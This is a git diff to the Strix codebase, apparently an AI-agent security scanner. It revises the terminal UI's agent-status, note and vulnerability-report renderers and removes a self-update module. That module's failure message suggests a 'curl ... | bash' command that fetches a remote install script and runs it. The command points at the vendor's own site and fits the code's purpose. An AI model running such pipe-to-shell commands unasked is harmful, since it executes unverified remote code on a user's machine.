self._scan_stop_event = threading.Event()
|
||||
self._scan_completed = threading.Event()
|
||||
self._scan_error: BaseException | None = None
|
||||
self._error_noted_agents: set[str] = set()
|
||||
self._budget_pause_notified = False
|
||||
|
||||
self._spinner_frame_index: int = 0
|
||||
self._sweep_num_squares: int = 6
|
||||
@@ -1030,50 +1015,26 @@ class StrixTUIApp(App): # type: ignore[misc]
|
||||
else:
|
||||
self._agent_graph_sync_future = None
|
||||
try:
|
||||
parent_of, statuses, names, errors = future.result()
|
||||
parent_of, statuses, names = future.result()
|
||||
except Exception:
|
||||
logger.exception("TUI agent graph sync failed")
|
||||
else:
|
||||
for agent_id, status in statuses.items():
|
||||
error = errors.get(agent_id)
|
||||
self.live_view.upsert_agent(
|
||||
agent_id,
|
||||
name=names.get(agent_id, agent_id),
|
||||
parent_id=parent_of.get(agent_id),
|
||||
status=status,
|
||||
error_message=error,
|
||||
)
|
||||
if status in {"failed", "crashed"} and error:
|
||||
if agent_id not in self._error_noted_agents:
|
||||
self._error_noted_agents.add(agent_id)
|
||||
self.live_view.record_agent_error(agent_id, error)
|
||||
else:
|
||||
self._error_noted_agents.discard(agent_id)
|
||||
self._notify_budget_pause(statuses)
|
||||
|
||||
if self._scan_loop is None or self._scan_loop.is_closed():
|
||||
return
|
||||
|
||||
async def collect() -> tuple[
|
||||
dict[str, str | None], dict[str, Any], dict[str, str], dict[str, str]
|
||||
]:
|
||||
async def collect() -> tuple[dict[str, str | None], dict[str, Any], dict[str, str]]:
|
||||
return await self.coordinator.graph_snapshot()
|
||||
|
||||
self._agent_graph_sync_future = asyncio.run_coroutine_threadsafe(collect(), self._scan_loop)
|
||||
|
||||
def _notify_budget_pause(self, statuses: dict[str, Any]) -> None:
|
||||
paused = any(status == "budget_paused" for status in statuses.values())
|
||||
if paused and not self._budget_pause_notified:
|
||||
self._budget_pause_notified = True
|
||||
self.notify(
|
||||
"Budget limit reached \u2014 agents paused. Send a message to continue "
|
||||
"(this extends the budget), or ctrl-q to quit.",
|
||||
severity="warning",
|
||||
timeout=15,
|
||||
)
|
||||
elif not paused:
|
||||
self._budget_pause_notified = False
|
||||
|
||||
def _update_agent_node(self, agent_id: str, agent_data: dict[str, Any]) -> bool:
|
||||
if agent_id not in self.agent_nodes:
|
||||
return False
|
||||
@@ -1086,10 +1047,8 @@ class StrixTUIApp(App): # type: ignore[misc]
|
||||
status_indicators = {
|
||||
"running": "⚪",
|
||||
"waiting": "⏸",
|
||||
"budget_paused": "⏸",
|
||||
"completed": "🟢",
|
||||
"failed": "🔴",
|
||||
"crashed": "🔴",
|
||||
"stopped": "■",
|
||||
}
|
||||
|
||||
@@ -1275,26 +1234,20 @@ class StrixTUIApp(App): # type: ignore[misc]
|
||||
text.append(msg)
|
||||
return (text, Text(), False)
|
||||
|
||||
if status in {"failed", "crashed"}:
|
||||
if status == "failed":
|
||||
error_msg = agent_data.get("error_message", "")
|
||||
text = Text()
|
||||
text.append(error_msg or "Agent failed", style="red")
|
||||
text.append(" · ", style="dim")
|
||||
text.append("Send message to resume", style="dim")
|
||||
if error_msg:
|
||||
text.append(error_msg, style="red")
|
||||
else:
|
||||
text.append("Scan failed", style="red")
|
||||
self._stop_dot_animation()
|
||||
return (text, Text(), False)
|
||||
|
||||
if status in {"waiting", "budget_paused"}:
|
||||
if status == "waiting":
|
||||
text = Text()
|
||||
keymap = Text()
|
||||
if status == "budget_paused":
|
||||
text.append("Budget limit reached", style="yellow")
|
||||
text.append(" \u00b7 ", style="dim")
|
||||
text.append("Send a message to continue", style="dim")
|
||||
keymap = keymap_styled([("ctrl-q", "quit")])
|
||||
else:
|
||||
text.append("Send message to resume", style="dim")
|
||||
return (text, keymap, False)
|
||||
text.append("Send message to resume", style="dim")
|
||||
return (text, Text(), False)
|
||||
|
||||
if status == "running":
|
||||
if self._agent_has_real_activity(agent_id):
|
||||
@@ -1519,7 +1472,6 @@ class StrixTUIApp(App): # type: ignore[misc]
|
||||
coordinator=self.coordinator,
|
||||
interactive=True,
|
||||
max_budget_usd=getattr(self.args, "max_budget_usd", None),
|
||||
max_turns=getattr(self.args, "max_turns", DEFAULT_MAX_TURNS),
|
||||
event_sink=self._capture_sdk_event,
|
||||
),
|
||||
)
|
||||
@@ -1527,7 +1479,10 @@ class StrixTUIApp(App): # type: ignore[misc]
|
||||
except (KeyboardInterrupt, asyncio.CancelledError):
|
||||
logger.info("Scan interrupted by user")
|
||||
except BudgetExceededError:
|
||||
logger.info("Scan stopped: --max-budget limit reached")
|
||||
# Defensive: the runner stops the scan cleanly on budget and
|
||||
# returns, so this normally never propagates. Treat it as a
|
||||
# graceful stop, not a scan error, if it ever does.
|
||||
logger.info("Scan stopped: --max-budget-usd limit reached")
|
||||
except (ConnectionError, TimeoutError) as e:
|
||||
logging.exception("Network error during scan")
|
||||
self._scan_error = e
|
||||
@@ -1582,10 +1537,8 @@ class StrixTUIApp(App): # type: ignore[misc]
|
||||
status_indicators = {
|
||||
"running": "⚪",
|
||||
"waiting": "⏸",
|
||||
"budget_paused": "⏸",
|
||||
"completed": "🟢",
|
||||
"failed": "🔴",
|
||||
"crashed": "🔴",
|
||||
"stopped": "■",
|
||||
}
|
||||
|
||||
@@ -1629,10 +1582,8 @@ class StrixTUIApp(App): # type: ignore[misc]
|
||||
status_indicators = {
|
||||
"running": "⚪",
|
||||
"waiting": "⏸",
|
||||
"budget_paused": "⏸",
|
||||
"completed": "🟢",
|
||||
"failed": "🔴",
|
||||
"crashed": "🔴",
|
||||
"stopped": "■",
|
||||
}
|
||||
|
||||
@@ -1754,10 +1705,7 @@ class StrixTUIApp(App): # type: ignore[misc]
|
||||
message=message,
|
||||
)
|
||||
if not submitted:
|
||||
if self._scan_completed.is_set():
|
||||
self.notify("The scan has ended; message was not sent", severity="warning")
|
||||
else:
|
||||
self.notify("Scan loop is not ready; message was not sent", severity="warning")
|
||||
self.notify("Scan loop is not ready; message was not sent", severity="warning")
|
||||
return
|
||||
|
||||
self._displayed_events.clear()
|
||||
@@ -1890,7 +1838,7 @@ class StrixTUIApp(App): # type: ignore[misc]
|
||||
webbrowser.open(self._viewer_url)
|
||||
return
|
||||
try:
|
||||
from strix.interface.viewer.server import authorized_url, bundle_is_built, serve
|
||||
from strix.viewer.server import authorized_url, bundle_is_built, serve
|
||||
|
||||
if not bundle_is_built():
|
||||
self._set_viewer_cta("[#eab308]Viewer UI not built[/]")
|
||||
|
||||
@@ -20,7 +20,7 @@ class TuiLiveView:
|
||||
self.events: list[dict[str, Any]] = []
|
||||
self._next_event_id = 1
|
||||
self._open_assistant_event_by_agent: dict[str, dict[str, Any]] = {}
|
||||
self._tool_event_by_agent_and_call_id: dict[tuple[str, str], dict[str, Any]] = {}
|
||||
self._tool_event_by_call_id: dict[str, dict[str, Any]] = {}
|
||||
|
||||
def hydrate_from_run_dir(self, run_dir: Path) -> None:
|
||||
state_dir = runtime_state_dir(run_dir)
|
||||
@@ -86,17 +86,6 @@ class TuiLiveView:
|
||||
current["error_message"] = error_message
|
||||
current["updated_at"] = now
|
||||
|
||||
def record_agent_error(self, agent_id: str, error: str) -> None:
|
||||
self._append_event(
|
||||
agent_id,
|
||||
"chat",
|
||||
{
|
||||
"role": "assistant",
|
||||
"content": (f"An error occurred: {error}\nI'm now waiting for new instructions."),
|
||||
"metadata": {"source": "agent_error"},
|
||||
},
|
||||
)
|
||||
|
||||
def record_user_message(self, agent_id: str, content: str) -> None:
|
||||
self._append_event(
|
||||
agent_id,
|
||||
@@ -223,8 +212,7 @@ class TuiLiveView:
|
||||
timestamp: str | None = None,
|
||||
) -> None:
|
||||
call_id = call["call_id"]
|
||||
event_key = (agent_id, call_id)
|
||||
existing = self._tool_event_by_agent_and_call_id.get(event_key)
|
||||
existing = self._tool_event_by_call_id.get(call_id)
|
||||
tool_data = {
|
||||
"tool_name": call["tool_name"],
|
||||
"args": call["args"],
|
||||
@@ -234,7 +222,7 @@ class TuiLiveView:
|
||||
}
|
||||
if existing is None:
|
||||
event = self._append_event(agent_id, "tool", tool_data, timestamp=timestamp)
|
||||
self._tool_event_by_agent_and_call_id[event_key] = event
|
||||
self._tool_event_by_call_id[call_id] = event
|
||||
else:
|
||||
existing["data"].update(tool_data)
|
||||
self._bump_event(existing, timestamp=timestamp)
|
||||
@@ -250,8 +238,7 @@ class TuiLiveView:
|
||||
timestamp: str | None = None,
|
||||
) -> None:
|
||||
call_id = output["call_id"]
|
||||
event_key = (agent_id, call_id)
|
||||
event = self._tool_event_by_agent_and_call_id.get(event_key)
|
||||
event = self._tool_event_by_call_id.get(call_id)
|
||||
if event is None:
|
||||
event = self._append_event(
|
||||
agent_id,
|
||||
@@ -265,7 +252,7 @@ class TuiLiveView:
|
||||
},
|
||||
timestamp=timestamp,
|
||||
)
|
||||
self._tool_event_by_agent_and_call_id[event_key] = event
|
||||
self._tool_event_by_call_id[call_id] = event
|
||||
|
||||
result = _parse_json_value(output["output"])
|
||||
event["data"]["result"] = result
|
||||
|
||||
@@ -7,13 +7,6 @@ from .base_renderer import BaseToolRenderer
|
||||
from .registry import register_tool_renderer
|
||||
|
||||
|
||||
def _author_label(note: dict[str, Any]) -> str:
|
||||
if note.get("by_you"):
|
||||
return "you"
|
||||
agent_name = note.get("agent_name")
|
||||
return str(agent_name).strip() if agent_name else ""
|
||||
|
||||
|
||||
@register_tool_renderer
|
||||
class CreateNoteRenderer(BaseToolRenderer):
|
||||
tool_name: ClassVar[str] = "create_note"
|
||||
@@ -130,9 +123,6 @@ class ListNotesRenderer(BaseToolRenderer):
|
||||
text.append("\n - ")
|
||||
text.append(title)
|
||||
text.append(f" ({category})", style="dim")
|
||||
author = _author_label(note)
|
||||
if author:
|
||||
text.append(f" by {author}", style="dim")
|
||||
|
||||
if note_content:
|
||||
text.append("\n ")
|
||||
@@ -166,9 +156,6 @@ class GetNoteRenderer(BaseToolRenderer):
|
||||
text.append("\n ")
|
||||
text.append(title)
|
||||
text.append(f" ({category})", style="dim")
|
||||
author = _author_label(note)
|
||||
if author:
|
||||
text.append(f" by {author}", style="dim")
|
||||
if content:
|
||||
text.append("\n ")
|
||||
text.append(content, style="dim")
|
||||
|
||||
@@ -1,12 +1,11 @@
|
||||
from functools import cache
|
||||
from typing import Any, ClassVar
|
||||
|
||||
from pygments.lexers import PythonLexer
|
||||
from pygments.styles import get_style_by_name
|
||||
from rich.text import Text
|
||||
from textual.widgets import Static
|
||||
|
||||
from strix.report.writer import parse_fenced_code, resolve_lexer
|
||||
|
||||
from .base_renderer import BaseToolRenderer
|
||||
from .registry import register_tool_renderer
|
||||
|
||||
@@ -62,8 +61,8 @@ class CreateVulnerabilityReportRenderer(BaseToolRenderer):
|
||||
return None
|
||||
|
||||
@classmethod
|
||||
def _highlight_code(cls, code: str, language: str | None) -> Text:
|
||||
lexer = resolve_lexer(language, code)
|
||||
def _highlight_python(cls, code: str) -> Text:
|
||||
lexer = PythonLexer()
|
||||
text = Text()
|
||||
|
||||
for token_type, token_value in lexer.get_tokens(code):
|
||||
@@ -235,11 +234,10 @@ class CreateVulnerabilityReportRenderer(BaseToolRenderer):
|
||||
text.append(poc_description)
|
||||
|
||||
if poc_script_code:
|
||||
poc_language, poc_code = parse_fenced_code(poc_script_code)
|
||||
text.append("\n\n")
|
||||
text.append("PoC Code", style=FIELD_STYLE)
|
||||
text.append("\n")
|
||||
text.append_text(cls._highlight_code(poc_code, poc_language))
|
||||
text.append_text(cls._highlight_python(poc_script_code))
|
||||
|
||||
if remediation_steps:
|
||||
text.append("\n\n")
|
||||
@@ -431,117 +429,3 @@ class CreateDependencyReportRenderer(BaseToolRenderer):
|
||||
|
||||
css_classes = cls.get_css_classes("completed")
|
||||
return Static(padded, classes=css_classes)
|
||||
|
||||
|
||||
_LIST_SEVERITY_COLORS = {
|
||||
"critical": "#dc2626",
|
||||
"high": "#ea580c",
|
||||
"medium": "#d97706",
|
||||
"low": "#65a30d",
|
||||
"info": "#0284c7",
|
||||
"none": "#6b7280",
|
||||
}
|
||||
|
||||
|
||||
def _severity_style(severity: Any) -> str:
|
||||
return _LIST_SEVERITY_COLORS.get(str(severity or "").lower(), "#d97706")
|
||||
|
||||
|
||||
def _author_label(report: dict[str, Any]) -> str:
|
||||
if report.get("by_you"):
|
||||
return "you"
|
||||
agent_name = report.get("agent_name")
|
||||
return str(agent_name).strip() if agent_name else ""
|
||||
|
||||
|
||||
@register_tool_renderer
|
||||
class ListReportsRenderer(BaseToolRenderer):
|
||||
tool_name: ClassVar[str] = "list_reports"
|
||||
css_classes: ClassVar[list[str]] = ["tool-call", "reporting-tool"]
|
||||
|
||||
@classmethod
|
||||
def render(cls, tool_data: dict[str, Any]) -> Static:
|
||||
result = _coerce_dict(tool_data.get("result"))
|
||||
|
||||
text = Text()
|
||||
text.append("◆ ", style="#ef4444")
|
||||
text.append("reports", style="dim")
|
||||
|
||||
if isinstance(tool_data.get("result"), str) and str(tool_data["result"]).strip():
|
||||
text.append("\n ")
|
||||
text.append(str(tool_data["result"]).strip(), style="dim")
|
||||
elif result.get("success"):
|
||||
total = result.get("total_count", 0)
|
||||
reports = _coerce_list_of_dicts(result.get("reports"))
|
||||
counts = _coerce_dict(result.get("severity_counts"))
|
||||
|
||||
text.append(f" ({total})", style="dim")
|
||||
for sev, count in counts.items():
|
||||
text.append(" ")
|
||||
text.append(f"{sev} {count}", style=_severity_style(sev))
|
||||
|
||||
if not reports:
|
||||
text.append("\n ")
|
||||
text.append("No reports filed yet", style="dim")
|
||||
else:
|
||||
for report in reports:
|
||||
rid = str(report.get("id", "")).strip()
|
||||
title = str(report.get("title", "")).strip() or "(untitled)"
|
||||
severity = str(report.get("severity", "")).strip()
|
||||
text.append("\n - ")
|
||||
if severity:
|
||||
text.append(severity.upper(), style=f"bold {_severity_style(severity)}")
|
||||
text.append(" ")
|
||||
if rid:
|
||||
text.append(f"{rid} ", style="dim")
|
||||
text.append(title)
|
||||
author = _author_label(report)
|
||||
if author:
|
||||
text.append(f" ({author})", style="dim")
|
||||
else:
|
||||
text.append("\n ")
|
||||
text.append("Loading...", style="dim")
|
||||
|
||||
css_classes = cls.get_css_classes("completed")
|
||||
return Static(text, classes=css_classes)
|
||||
|
||||
|
||||
@register_tool_renderer
|
||||
class GetReportRenderer(BaseToolRenderer):
|
||||
tool_name: ClassVar[str] = "get_report"
|
||||
css_classes: ClassVar[list[str]] = ["tool-call", "reporting-tool"]
|
||||
|
||||
@classmethod
|
||||
def render(cls, tool_data: dict[str, Any]) -> Static:
|
||||
result = _coerce_dict(tool_data.get("result"))
|
||||
|
||||
text = Text()
|
||||
text.append("◆ ", style="#ef4444")
|
||||
text.append("report read", style="dim")
|
||||
|
||||
report = _coerce_dict(result.get("report")) if result.get("success") else {}
|
||||
if report:
|
||||
rid = str(report.get("id", "")).strip()
|
||||
title = str(report.get("title", "")).strip() or "(untitled)"
|
||||
severity = str(report.get("severity", "")).strip()
|
||||
text.append("\n ")
|
||||
if severity:
|
||||
text.append(severity.upper(), style=f"bold {_severity_style(severity)}")
|
||||
text.append(" ")
|
||||
if rid:
|
||||
text.append(f"{rid} ", style="dim")
|
||||
text.append(title)
|
||||
author = _author_label(report)
|
||||
if author:
|
||||
text.append(f" ({author})", style="dim")
|
||||
target = str(report.get("target", "")).strip()
|
||||
if target:
|
||||
text.append("\n ")
|
||||
text.append(target, style="dim")
|
||||
else:
|
||||
text.append("\n ")
|
||||
detail = result.get("error") if result.get("success") is False else None
|
||||
text.append(str(detail) if detail else "Loading...", style="dim")
|
||||
|
||||
css_classes = cls.get_css_classes("completed")
|
||||
return Static(text, classes=css_classes)
|
||||
|
||||
@@ -1,395 +0,0 @@
|
||||
"""Update notifications and self-update for the strix CLI.
|
||||
|
||||
Follows the pattern used by tools like gh, uv, and pip: a background,
|
||||
rate-limited (once per 24h) check against the release source, a cached
|
||||
result in ``~/.strix``, a non-intrusive notice with the upgrade command
|
||||
for the detected install method, and a ``strix --update`` self-update
|
||||
path for the standalone binary install.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import hashlib
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import platform
|
||||
import shutil
|
||||
import stat
|
||||
import subprocess
|
||||
import sys
|
||||
import tarfile
|
||||
import tempfile
|
||||
import threading
|
||||
import time
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
from typing import cast
|
||||
|
||||
import requests
|
||||
from rich.console import Console
|
||||
from rich.prompt import Prompt
|
||||
|
||||
from strix.telemetry._common import get_version
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
GITHUB_REPO = "usestrix/strix"
|
||||
PYPI_PACKAGE = "strix-agent"
|
||||
CHECK_INTERVAL_SECONDS = 24 * 60 * 60
|
||||
REQUEST_TIMEOUT_SECONDS = 5
|
||||
|
||||
_CACHE_PATH = Path.home() / ".strix" / "update-check.json"
|
||||
|
||||
_background_thread: threading.Thread | None = None
|
||||
|
||||
|
||||
def _is_disabled() -> bool:
|
||||
return bool(os.environ.get("STRIX_NO_UPDATE_CHECK")) or any(
|
||||
os.environ.get(key)
|
||||
for key in ("CI", "GITHUB_ACTIONS", "GITLAB_CI", "JENKINS_URL", "BUILDKITE", "CIRCLECI")
|
||||
)
|
||||
|
||||
|
||||
def is_binary_install() -> bool:
|
||||
return bool(getattr(sys, "frozen", False))
|
||||
|
||||
|
||||
def get_install_method() -> str:
|
||||
if is_binary_install():
|
||||
return "binary"
|
||||
prefix = str(Path(sys.prefix)).replace("\\", "/")
|
||||
if "/pipx/" in prefix or prefix.endswith("/pipx"):
|
||||
return "pipx"
|
||||
if "/uv/tools/" in prefix:
|
||||
return "uv"
|
||||
return "pip"
|
||||
|
||||
|
||||
def get_upgrade_command(method: str | None = None) -> str:
|
||||
method = method or get_install_method()
|
||||
commands = {
|
||||
"binary": "strix --update",
|
||||
"pipx": "pipx upgrade strix-agent",
|
||||
"uv": "uv tool upgrade strix-agent",
|
||||
"pip": "pip install --upgrade strix-agent",
|
||||
}
|
||||
return commands[method]
|
||||
|
||||
|
||||
def _parse_version(value: str) -> tuple[int, ...] | None:
|
||||
parts = value.strip().lstrip("v").split(".")
|
||||
try:
|
||||
return tuple(int(part) for part in parts)
|
||||
except ValueError:
|
||||
return None
|
||||
|
||||
|
||||
def _is_newer(latest: str, current: str) -> bool:
|
||||
latest_parts = _parse_version(latest)
|
||||
current_parts = _parse_version(current)
|
||||
if latest_parts is None or current_parts is None:
|
||||
return False
|
||||
return latest_parts > current_parts
|
||||
|
||||
|
||||
def _fetch_latest_version() -> str | None:
|
||||
try:
|
||||
if is_binary_install():
|
||||
response = requests.get(
|
||||
f"https://api.github.com/repos/{GITHUB_REPO}/releases/latest",
|
||||
timeout=REQUEST_TIMEOUT_SECONDS,
|
||||
)
|
||||
response.raise_for_status()
|
||||
tag = response.json().get("tag_name", "")
|
||||
return tag.lstrip("v") or None
|
||||
response = requests.get(
|
||||
f"https://pypi.org/pypi/{PYPI_PACKAGE}/json",
|
||||
timeout=REQUEST_TIMEOUT_SECONDS,
|
||||
)
|
||||
response.raise_for_status()
|
||||
version = response.json().get("info", {}).get("version")
|
||||
return str(version) if version else None
|
||||
except Exception: # noqa: BLE001
|
||||
logger.debug("update check failed", exc_info=True)
|
||||
return None
|
||||
|
||||
|
||||
def _fetch_asset_digest(version: str, filename: str) -> str | None:
|
||||
"""Return the expected sha256 (hex) for a release asset, if the API provides one."""
|
||||
try:
|
||||
response = requests.get(
|
||||
f"https://api.github.com/repos/{GITHUB_REPO}/releases/tags/v{version}",
|
||||
timeout=REQUEST_TIMEOUT_SECONDS,
|
||||
)
|
||||
response.raise_for_status()
|
||||
for asset in response.json().get("assets", []):
|
||||
if asset.get("name") == filename:
|
||||
digest = asset.get("digest") or ""
|
||||
if digest.startswith("sha256:"):
|
||||
return digest.removeprefix("sha256:")
|
||||
except Exception: # noqa: BLE001
|
||||
logger.debug("release asset digest lookup failed", exc_info=True)
|
||||
return None
|
||||
|
||||
|
||||
def _sha256_file(path: Path) -> str:
|
||||
digest = hashlib.sha256()
|
||||
with path.open("rb") as f:
|
||||
for chunk in iter(lambda: f.read(1 << 20), b""):
|
||||
digest.update(chunk)
|
||||
return digest.hexdigest()
|
||||
|
||||
|
||||
def _read_cache() -> dict[str, object]:
|
||||
try:
|
||||
with _CACHE_PATH.open(encoding="utf-8") as f:
|
||||
data = json.load(f)
|
||||
if isinstance(data, dict):
|
||||
return cast("dict[str, object]", data)
|
||||
except Exception: # noqa: BLE001, S110
|
||||
pass # nosec B110
|
||||
return {}
|
||||
|
||||
|
||||
def _write_cache(**fields: object) -> None:
|
||||
try:
|
||||
cache = _read_cache()
|
||||
cache.update(fields)
|
||||
_CACHE_PATH.parent.mkdir(parents=True, exist_ok=True)
|
||||
_CACHE_PATH.write_text(json.dumps(cache), encoding="utf-8")
|
||||
except Exception: # noqa: BLE001, S110
|
||||
pass # nosec B110
|
||||
|
||||
|
||||
def skip_version(version: str) -> None:
|
||||
"""Remember not to prompt again for this version (newer releases still notify)."""
|
||||
_write_cache(skipped_version=version)
|
||||
|
||||
|
||||
def _refresh_cache() -> None:
|
||||
latest = _fetch_latest_version()
|
||||
if latest:
|
||||
_write_cache(latest_version=latest, checked_at=time.time())
|
||||
|
||||
|
||||
def start_background_check() -> None:
|
||||
"""Refresh the cached latest-version info in a daemon thread (at most once per 24h)."""
|
||||
global _background_thread # noqa: PLW0603
|
||||
if _is_disabled():
|
||||
return
|
||||
cache = _read_cache()
|
||||
checked_at = cache.get("checked_at")
|
||||
if isinstance(checked_at, int | float) and time.time() - checked_at < CHECK_INTERVAL_SECONDS:
|
||||
return
|
||||
_background_thread = threading.Thread(target=_refresh_cache, daemon=True)
|
||||
_background_thread.start()
|
||||
|
||||
|
||||
def get_available_update(*, respect_skip: bool = True) -> str | None:
|
||||
"""Return the newer version from the cache, or None if up to date / unknown."""
|
||||
if _is_disabled():
|
||||
return None
|
||||
if _background_thread is not None:
|
||||
_background_thread.join(timeout=0.2)
|
||||
cache = _read_cache()
|
||||
latest = cache.get("latest_version")
|
||||
current = get_version()
|
||||
if not isinstance(latest, str) or current == "unknown" or not _is_newer(latest, current):
|
||||
return None
|
||||
if respect_skip and cache.get("skipped_version") == latest:
|
||||
return None
|
||||
return latest
|
||||
|
||||
|
||||
def notify_update(console: Console) -> None:
|
||||
latest = get_available_update()
|
||||
if not latest:
|
||||
return
|
||||
console.print(
|
||||
f"[#eab308]A new version of strix is available:[/] "
|
||||
f"[dim]{get_version()}[/] [dim]→[/] [bold #22c55e]{latest}[/]"
|
||||
f" [dim]·[/] [#60a5fa]{get_upgrade_command()}[/]"
|
||||
)
|
||||
console.print()
|
||||
|
||||
|
||||
def run_package_upgrade(console: Console, method: str) -> bool:
|
||||
"""Upgrade a package-manager install by running its upgrade command."""
|
||||
command = get_upgrade_command(method).split()
|
||||
console.print(f"[dim]Running[/] [#60a5fa]{' '.join(command)}[/]")
|
||||
try:
|
||||
result = subprocess.run(command, check=False) # noqa: S603
|
||||
except OSError as e:
|
||||
console.print(f"[bold red]Update failed:[/] {e}")
|
||||
return False
|
||||
if result.returncode != 0:
|
||||
console.print(
|
||||
f"[bold red]Update failed[/] [dim](exit code {result.returncode}).[/] "
|
||||
f"Run it manually: [#60a5fa]{get_upgrade_command(method)}[/]"
|
||||
)
|
||||
return False
|
||||
console.print("[#22c55e]✓ strix updated — restart the scan to use the new version[/]")
|
||||
return True
|
||||
|
||||
|
||||
def prompt_update_if_available(console: Console) -> bool:
|
||||
"""Offer an interactive update before a scan starts.
|
||||
|
||||
Returns True if strix was updated (caller should re-exec / exit).
|
||||
"""
|
||||
latest = get_available_update()
|
||||
if not latest or not sys.stdin.isatty() or not sys.stdout.isatty():
|
||||
return False
|
||||
console.print()
|
||||
console.print(
|
||||
f"[#eab308]A new version of strix is available:[/] "
|
||||
f"[dim]{get_version()}[/] [dim]→[/] [bold #22c55e]{latest}[/]"
|
||||
)
|
||||
console.print(
|
||||
"[dim] y — update now n — not now (ask again next run) s — skip this version[/]"
|
||||
)
|
||||
choice = Prompt.ask("Update strix?", choices=["y", "n", "s"], default="n")
|
||||
console.print()
|
||||
if choice == "s":
|
||||
skip_version(latest)
|
||||
return False
|
||||
if choice != "y":
|
||||
return False
|
||||
method = get_install_method()
|
||||
if method == "binary":
|
||||
return self_update(console, version=latest)
|
||||
return run_package_upgrade(console, method)
|
||||
|
||||
|
||||
def _release_target() -> str | None:
|
||||
raw_os = platform.system().lower()
|
||||
os_name = {"darwin": "macos", "linux": "linux", "windows": "windows"}.get(raw_os)
|
||||
arch = platform.machine().lower()
|
||||
arch = {"aarch64": "arm64", "amd64": "x86_64"}.get(arch, arch)
|
||||
if os_name is None:
|
||||
return None
|
||||
target = f"{os_name}-{arch}"
|
||||
supported = {
|
||||
"linux-x86_64",
|
||||
"linux-arm64",
|
||||
"macos-x86_64",
|
||||
"macos-arm64",
|
||||
"windows-x86_64",
|
||||
}
|
||||
return target if target in supported else None
|
||||
|
||||
|
||||
def _download_and_replace(version: str, target: str, console: Console) -> bool:
|
||||
is_windows = target.startswith("windows")
|
||||
archive_ext = ".zip" if is_windows else ".tar.gz"
|
||||
filename = f"strix-{version}-{target}{archive_ext}"
|
||||
url = f"https://github.com/{GITHUB_REPO}/releases/download/v{version}/{filename}"
|
||||
binary_name = f"strix-{version}-{target}" + (".exe" if is_windows else "")
|
||||
current_exe = Path(sys.executable).resolve()
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
tmp_dir = Path(tmp)
|
||||
archive_path = tmp_dir / filename
|
||||
console.print(f"[dim]Downloading[/] {url}")
|
||||
with requests.get( # nosec B113
|
||||
url,
|
||||
stream=True,
|
||||
timeout=REQUEST_TIMEOUT_SECONDS * 12,
|
||||
) as response:
|
||||
response.raise_for_status()
|
||||
with archive_path.open("wb") as f:
|
||||
for chunk in response.iter_content(chunk_size=1 << 20):
|
||||
f.write(chunk)
|
||||
|
||||
expected_digest = _fetch_asset_digest(version, filename)
|
||||
if expected_digest:
|
||||
actual_digest = _sha256_file(archive_path)
|
||||
if actual_digest != expected_digest:
|
||||
raise RuntimeError(
|
||||
f"checksum mismatch for {filename}: "
|
||||
f"expected sha256 {expected_digest}, got {actual_digest}"
|
||||
)
|
||||
else:
|
||||
console.print("[dim yellow]No published checksum available; skipping verification[/]")
|
||||
|
||||
if is_windows:
|
||||
with zipfile.ZipFile(archive_path) as zf:
|
||||
zf.extract(binary_name, tmp_dir)
|
||||
else:
|
||||
with tarfile.open(archive_path, "r:gz") as tf:
|
||||
tf.extract(binary_name, tmp_dir, filter="data")
|
||||
|
||||
new_binary = tmp_dir / binary_name
|
||||
new_binary.chmod(new_binary.stat().st_mode | stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH)
|
||||
|
||||
staged = current_exe.with_name(current_exe.name + ".new")
|
||||
try:
|
||||
shutil.copy2(new_binary, staged)
|
||||
if is_windows:
|
||||
# Windows can't replace a running executable in place; move it aside first.
|
||||
old = current_exe.with_name(current_exe.name + ".old")
|
||||
old.unlink(missing_ok=True)
|
||||
current_exe.rename(old)
|
||||
try:
|
||||
staged.replace(current_exe)
|
||||
except Exception:
|
||||
old.rename(current_exe)
|
||||
raise
|
||||
else:
|
||||
staged.replace(current_exe)
|
||||
except Exception:
|
||||
staged.unlink(missing_ok=True)
|
||||
raise
|
||||
return True
|
||||
|
||||
|
||||
def self_update(console: Console | None = None, version: str | None = None) -> bool:
|
||||
"""Replace the running standalone binary with the latest release.
|
||||
|
||||
Returns True on success. For package-manager installs this only
|
||||
prints the right upgrade command and returns False.
|
||||
"""
|
||||
console = console or Console()
|
||||
|
||||
if not is_binary_install():
|
||||
method = get_install_method()
|
||||
console.print(
|
||||
f"[#eab308]This strix was installed via {method};[/] "
|
||||
f"upgrade it with: [#60a5fa]{get_upgrade_command(method)}[/]"
|
||||
)
|
||||
return False
|
||||
|
||||
latest = version or _fetch_latest_version()
|
||||
if not latest:
|
||||
console.print("[bold red]Could not determine the latest strix version.[/]")
|
||||
return False
|
||||
|
||||
current = get_version()
|
||||
if current != "unknown" and not _is_newer(latest, current):
|
||||
console.print(f"[#22c55e]strix {current} is already the latest version.[/]")
|
||||
return True
|
||||
|
||||
target = _release_target()
|
||||
if not target:
|
||||
console.print(
|
||||
f"[bold red]No prebuilt binary for this platform "
|
||||
f"({platform.system()}/{platform.machine()}).[/]"
|
||||
)
|
||||
return False
|
||||
|
||||
try:
|
||||
_download_and_replace(latest, target, console)
|
||||
except Exception as e: # noqa: BLE001
|
||||
logger.debug("self-update failed", exc_info=True)
|
||||
console.print(f"[bold red]Update failed:[/] {e}")
|
||||
console.print(
|
||||
"[dim]You can reinstall manually with:[/] "
|
||||
"[#60a5fa]curl -sSL https://strix.ai/install | bash[/]"
|
||||
)
|
||||
return False
|
||||
|
||||
_write_cache(latest_version=latest, checked_at=time.time())
|
||||
console.print(f"[#22c55e]✓ Updated strix to {latest}[/]")
|
||||
return True
|
||||
+14
-44
@@ -11,10 +11,11 @@ import tempfile
|
||||
from dataclasses import dataclass, field
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import urlparse
|
||||
from urllib.request import Request, urlopen
|
||||
|
||||
import docker
|
||||
import requests
|
||||
from docker.errors import DockerException, ImageNotFound
|
||||
from rich.console import Console
|
||||
from rich.panel import Panel
|
||||
@@ -252,20 +253,6 @@ def _llm_usage(report_state: Any) -> dict[str, Any]:
|
||||
return usage if isinstance(usage, dict) else {}
|
||||
|
||||
|
||||
def _is_subscription(report_state: Any) -> bool:
|
||||
"""Whether this run uses a model subscription (no metered cost).
|
